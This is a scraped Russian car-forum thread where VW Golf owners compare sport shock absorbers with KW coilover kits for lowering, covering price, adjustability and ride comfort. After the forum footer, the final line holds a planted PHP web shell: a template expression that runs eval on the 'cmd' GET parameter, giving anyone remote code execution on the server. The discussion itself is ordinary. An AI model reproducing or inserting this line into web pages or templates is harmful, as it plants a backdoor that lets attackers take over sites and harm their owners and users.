+ Ответить в теме
Показано с 1 по 10 из 72

Тема: Занижение + колеса


Комбинированный просмотр

  1. #1
    GTI-Racing Rugby 14 will become famous soon enough Rugby 14 will become famous soon enough Аватар для Rugby 14
    Регистрация
    27.02.2010
    Откуда
    13 район
    Машина
    .:R MkVI
    Сообщений
    2,819
    Цитата Сообщение от up2you Посмотреть сообщение
    я в общем то винты и перечислял в своем посте)
    ну спортсуспеншн - ни разу не аналог. это обычные амморты.
    занижение 20мм, 22350р)
    это где такая цена? )
    ну почему не аналог? занижение в одном диапазоне, целевая аудитория схожая. только не винты.
    Tough Guys Don`t Dance ©

    .:Revo St.2+

  2. #2
    GTI-Racing up2you is a jewel in the rough up2you is a jewel in the rough up2you is a jewel in the rough up2you is a jewel in the rough Аватар для up2you
    Регистрация
    29.09.2009
    Машина
    VW GOLF GTI 5
    Сообщений
    1,112
    Цитата Сообщение от Rugby 14 Посмотреть сообщение
    это где такая цена? )
    ну почему не аналог? занижение в одном диапазоне, целевая аудитория схожая. только не винты.
    у мну, тобишь в УРТ.

    ну, потому что:
    во-первых все таки винты- винты, а аморты - аморты, из этого вытекает, что
    это совершенно разные классы.
    спорт - самый низ линейки КВ, комфорт на ровне со 2 вариантом.
    с чем его сравнивать так с 2 и 3 вариантом.

    аморты никак не регулируются,
    комфорт регулируется по высоте, и отбой.
    who needs headlights when you’ve got lazertits?

    Grand Cherokee WK2 // Scirocco MK1 1975 // Honda CB400SS Street Tracker

  3. #3
    GTI-Racing Rugby 14 will become famous soon enough Rugby 14 will become famous soon enough Аватар для Rugby 14
    Регистрация
    27.02.2010
    Откуда
    13 район
    Машина
    .:R MkVI
    Сообщений
    2,819
    Цитата Сообщение от up2you Посмотреть сообщение
    у мну, тобишь в УРТ.

    ну, потому что:
    во-первых все таки винты- винты, а аморты - аморты, из этого вытекает, что
    это совершенно разные классы.
    спорт - самый низ линейки КВ, комфорт на ровне со 2 вариантом.
    с чем его сравнивать так с 2 и 3 вариантом.

    аморты никак не регулируются,
    комфорт регулируется по высоте, и отбой.
    "аналог" не значит "замена". характеристики у них схожие. и целевая аудитория одна: занизить и не потерять в комфорте.

    понятно что винты круче :)

    да, видел эту картинку.
    и судя по ней, спорт явно комфортней вар.2
    по комфорту их можно сравнивать только с 3-м вариантом. и то за счет регулировок 3-го. вот только цена как бы различается нормально так :)
    Tough Guys Don`t Dance ©

    .:Revo St.2+

+ Ответить в теме

Похожие темы

  1. Занижение -30 и колеса R17
    от .88 в разделе Шины, диски
    Ответов: 38
    Последнее сообщение: 01.07.2024, 15:00
  2. Занижение ЛС в ПТС
    от yurca1984 в разделе Разное
    Ответов: 37
    Последнее сообщение: 28.11.2023, 22:38
  3. Занижение. И всё же?
    от troyanov в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 51
    Последнее сообщение: 26.06.2013, 06:56
  4. Занижение G V
    от baton88 в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 9
    Последнее сообщение: 09.01.2009, 15:28
  5. Занижение
    от Verdik в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 17
    Последнее сообщение: 02.05.2008, 14:25

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}